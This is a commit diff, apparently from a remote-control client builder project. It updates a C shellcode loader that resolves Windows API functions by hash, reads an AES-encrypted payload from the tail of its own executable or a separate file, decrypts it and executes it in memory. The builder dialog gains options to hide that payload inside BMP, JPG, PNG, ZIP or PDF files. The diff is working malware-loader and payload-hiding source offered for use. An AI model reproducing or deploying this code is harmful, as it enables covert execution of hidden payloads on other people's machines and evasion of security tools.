Improve building client - append shellcode to file end

This commit is contained in:
shaun
2025-12-30 18:01:07 +01:00
committed by yuanyuanxiang
parent 2b4f061f82
commit 71c7c99f62
7 changed files with 201 additions and 90 deletions

View File

@@ -90,7 +90,7 @@
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
@@ -108,7 +108,7 @@
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
@@ -126,7 +126,7 @@
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
@@ -144,7 +144,7 @@
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>

View File

@@ -4,8 +4,10 @@
struct {
unsigned char aes_key[16];
unsigned char aes_iv[16];
unsigned char data[4*1024*1024];
unsigned char *data;
int len;
int offset;
char file[_MAX_PATH];
} sc = { "Hello, World!" };
#define Kernel32Lib_Hash 0x1cca9ce6
@@ -25,6 +27,22 @@ typedef BOOL(WINAPI* _VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flN
#define Sleep_Hash 1065713747
typedef VOID(WINAPI* _Sleep)(DWORD dwMilliseconds);
#define GetModuleFileName_Hash 1888753264
typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWORD nSize);
#define SetFilePointer_Hash 1978850691
typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
#define CreateFileA_Hash 1470354217
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
#define ReadFile_Hash 990362902
typedef BOOL(WINAPI* _ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
#define CloseHandle_Hash 110641196
typedef BOOL(WINAPI* _CloseHandle)(HANDLE hObject);
typedef struct _UNICODE_STR {
USHORT Length;
USHORT MaximumLength;
@@ -201,56 +219,42 @@ void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAdd
return 0;
}
inline void* mc(void* dest, const void* src, size_t n)
{
char* d = (char*)dest;
const char* s = (const char*)src;
while (n--)
*d++ = *s++;
return dest;
}
// A simple shell code loader.
// Copy left (c) yuanyuanxiang.
#ifdef _DEBUG
// Tip: Use menu to generate TinyRun.c.
#ifdef _WIN64
#include "../x64/Release/TinyRun.c"
#else
#include "../Release/TinyRun.c"
#define entry main
#endif
int main()
{
sc.len = Shellcode_len;
if (sc.len > sizeof(sc.data)) return -1;
memcpy(sc.data, Shellcode, sc.len);
memcpy(sc.aes_iv, "It is a example", 16);
memcpy(sc.aes_key, "It is a example", 16);
#else
int entry()
{
#endif
if (!sc.data[0] || !sc.len)
return -1;
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
HMODULE kernel32 = get_kernel32_base();
if (!kernel32) return -2;
if (!kernel32) return 1;
_GetProcAddress GetProcAddress = (_GetProcAddress)get_proc_address_from_hash(kernel32, GetProcAddress_Hash, 0);
_LoadLibraryA LoadLibraryA = (_LoadLibraryA)get_proc_address_from_hash(kernel32, LoadLibraryA_Hash, GetProcAddress);
_VirtualAlloc VirtualAlloc = (_VirtualAlloc)get_proc_address_from_hash(kernel32, VirtualAlloc_Hash, GetProcAddress);
_VirtualProtect VirtualProtect = (_VirtualProtect)get_proc_address_from_hash(kernel32, VirtualProtect_Hash, GetProcAddress);
_Sleep Sleep = (_Sleep)get_proc_address_from_hash(kernel32, Sleep_Hash, GetProcAddress);
void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (exec) {
mc(exec, sc.data, sc.len);
DWORD oldProtect = 0;
if (!VirtualProtect(exec, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return -3;
((void(*)())exec)();
Sleep(INFINITE);
}
_GetModuleFileName GetModulePath = (_GetModuleFileName)get_proc_address_from_hash(kernel32, GetModuleFileName_Hash, GetProcAddress);
_CreateFileA CreateFileA = (_CreateFileA)get_proc_address_from_hash(kernel32, CreateFileA_Hash, GetProcAddress);
_SetFilePointer SetFilePointer = (_SetFilePointer)get_proc_address_from_hash(kernel32, SetFilePointer_Hash, GetProcAddress);
_ReadFile ReadFile = (_ReadFile)get_proc_address_from_hash(kernel32, ReadFile_Hash, GetProcAddress);
_CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress);
if (!sc.file[0]) GetModulePath(NULL, sc.file, MAX_PATH);
HANDLE hFile = CreateFileA(sc.file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return 2;
SetFilePointer(hFile, (LONG)sc.offset, NULL, FILE_BEGIN);
DWORD bytesRead = 0;
sc.data = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ReadFile(hFile, sc.data, sc.len, &bytesRead, NULL)) return 3;
CloseHandle(hFile);
if (!sc.data || !sc.len) return 4;
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
DWORD oldProtect = 0;
if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return 5;
((void(*)())sc.data)();
Sleep(INFINITE);
return 0;
}

Binary file not shown.

View File

@@ -3154,32 +3154,61 @@ char* ReadFileToBuffer(const std::string &path, size_t& outSize)
//////////////////////////////////////////////////////////////////////////
// UPX
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size)
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset)
{
// 打开文件,以二进制模式写入
std::string filePath = path;
std::ofstream outFile(filePath, std::ios::binary);
std::string filePath = path;
std::fstream outFile;
if (!outFile) {
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
return FALSE;
if (offset == 0) {
// offset=0 时截断文件,等同覆盖写入
outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::trunc);
}
else if (offset == -1) {
// offset=-1 时追加写入
outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::app);
}
else {
// 非0偏移保留原内容定位写入
outFile.open(filePath, std::ios::binary | std::ios::in | std::ios::out);
// 文件不存在时创建
if (!outFile) {
outFile.open(filePath, std::ios::binary | std::ios::out);
}
}
if (!outFile) {
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
return FALSE;
}
// 追加模式不需要 seekp, 其他情况定位到指定位置
if (offset != -1) {
// 定位到指定位置
outFile.seekp(offset, std::ios::beg);
// 验证 seekp 是否成功
if (outFile.fail()) {
Mprintf("Failed to seek to offset %llu.\n", offset);
outFile.close();
return FALSE;
}
}
// 写入二进制数据
outFile.write(data, size);
// 写入二进制数据
outFile.write(data, size);
if (outFile.good()) {
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
} else {
Mprintf("Failed to write data to file.\n");
outFile.close();
return FALSE;
}
if (outFile.good()) {
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
}
else {
Mprintf("Failed to write data to file.\n");
outFile.close();
return FALSE;
}
// 关闭文件
outFile.close();
return TRUE;
outFile.close();
return TRUE;
}
int run_cmd(std::string cmdLine)

View File

@@ -23,6 +23,16 @@ enum Index {
OTHER_ITEM
};
enum Payload {
Payload_Self,
Payload_Raw,
Payload_BMP,
Payload_JPG,
Payload_PNG,
Payload_ZIP,
Payload_PDF,
};
// CBuildDlg 对话框
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
@@ -91,6 +101,8 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
DDX_Control(pDX, IDC_EDIT_GROUPNAME, m_EditGroup);
DDX_Text(pDX, IDC_EDIT_GROUPNAME, m_sGroupName);
DDV_MaxChars(pDX, m_sGroupName, 23);
DDX_Control(pDX, IDC_COMBO_PAYLOAD, m_ComboPayload);
DDX_Control(pDX, IDC_STATIC_PAYLOAD, m_StaticPayload);
}
@@ -101,6 +113,7 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden)
ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp)
ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin)
ON_CBN_SELCHANGE(IDC_COMBO_COMPRESS, &CBuildDlg::OnCbnSelchangeComboCompress)
END_MESSAGE_MAP()
@@ -112,7 +125,7 @@ void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, b
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer,
int ulOriginalLength, bool align = false);
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size);
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);
std::string ReleaseEXE(int resID, const char* name)
{
@@ -134,8 +147,10 @@ std::string ReleaseEXE(int resID, const char* name)
typedef struct SCInfo {
unsigned char aes_key[16];
unsigned char aes_iv[16];
unsigned char data[4 * 1024 * 1024];
unsigned char *data;
int len;
int offset;
char file[_MAX_PATH];
} SCInfo;
#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
@@ -163,6 +178,21 @@ void generate_random_iv(unsigned char* iv, size_t len)
BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
}
ULONGLONG GetFileSize(const char* path)
{
std::ifstream file(path, std::ios::binary | std::ios::ate);
if (!file) {
Mprintf("Failed to open file: %s.\n", path);
return 0;
}
ULONGLONG size = file.tellg();
file.close();
return size;
}
void CBuildDlg::OnBnClickedOk()
{
UpdateData(TRUE);
@@ -336,14 +366,33 @@ void CBuildDlg::OnBnClickedOk()
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
if (srcLen <= 4 * 1024 * 1024) {
memcpy(sc->data, srcData, srcLen);
sc->len = srcLen;
}
SAFE_DELETE_ARRAY(srcData);
sc->len = srcLen;
sc->offset = dwSize;
CString old = strSeverFile;
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
strSeverFile.ReleaseBuffer();
if (strSeverFile != old) DeleteFileA(old);
int n = m_ComboPayload.GetCurSel();
CString payload = strSeverFile;
if (n) {
static std::map<int, std::string> m = {
{ Payload_Raw, "*.bin|*.bin|"}, { Payload_BMP, "*.bmp|*.bmp|"},
{ Payload_JPG, "*.jpg|*.jpg|"}, { Payload_PNG, "*.png|*.png|"},
{ Payload_ZIP, "*.zip|*.zip|"}, { Payload_PDF, "*.pdf|*.pdf|"},
};
payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw);
sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload);
strcpy(sc->file, PathFindFileNameA(payload));
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
}
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
if (r) {
r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
if (!r) tip = "\r\n警告: 生成载荷失败!";
}else{
MessageBox("文件生成失败: \r\n" + strSeverFile, "提示", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(srcData);
}
}
}
@@ -420,6 +469,17 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboCompress.InsertString(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode");
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_ComboPayload.InsertString(Payload_Self, "载荷写入当前程序尾部");
m_ComboPayload.InsertString(Payload_Raw, "载荷写入单独的二进制文件");
m_ComboPayload.InsertString(Payload_BMP, "载荷写入 BMP 格式图片");
m_ComboPayload.InsertString(Payload_JPG, "载荷写入 JPG 格式图片");
m_ComboPayload.InsertString(Payload_PNG, "载荷写入 PNG 格式图片");
m_ComboPayload.InsertString(Payload_ZIP, "载荷写入 ZIP 压缩包");
m_ComboPayload.InsertString(Payload_PDF, "载荷写入 PDF 文件");
m_ComboPayload.SetCurSel(Payload_Self);
m_ComboPayload.ShowWindow(SW_HIDE);
m_StaticPayload.ShowWindow(SW_HIDE);
m_OtherItem.ShowWindow(SW_HIDE);
m_runasAdmin = FALSE;
@@ -434,29 +494,36 @@ BOOL CBuildDlg::OnInitDialog()
// 异常: OCX 属性页应返回 FALSE
}
CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen) {
CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) {
MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示");
return "";
}
// 过滤器:显示所有文件和特定类型文件(例如文本文件)
CFileDialog fileDlg(isOpen, type, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, filter, AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
}
catch (...) {
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
return "";
}
if (ret == IDOK) {
CString name = fileDlg.GetPathName();
return name;
}
return "";
}
void CBuildDlg::OnCbnSelchangeComboExe()
{
auto n = m_ComboExe.GetCurSel();
if (n == OTHER_ITEM) {
CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) {
MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示");
return;
}
// 过滤器:显示所有文件和特定类型文件(例如文本文件)
CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
} catch (...) {
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
return;
}
if (ret == IDOK) {
CString name = fileDlg.GetPathName();
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
if (!name.IsEmpty()) {
m_OtherItem.SetWindowTextA(name);
CFile File;
BOOL ret = File.Open(name, CFile::modeRead | CFile::typeBinary);
@@ -513,3 +580,10 @@ void CBuildDlg::OnClientRunasAdmin()
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED);
}
void CBuildDlg::OnCbnSelchangeComboCompress()
{
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
}

View File

@@ -23,6 +23,7 @@ public:
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE);
DECLARE_MESSAGE_MAP()
public:
@@ -47,4 +48,7 @@ public:
CString m_strEncryptIP;
afx_msg void OnMenuEncryptIp();
afx_msg void OnClientRunasAdmin();
CComboBox m_ComboPayload;
afx_msg void OnCbnSelchangeComboCompress();
CStatic m_StaticPayload;
};

Binary file not shown.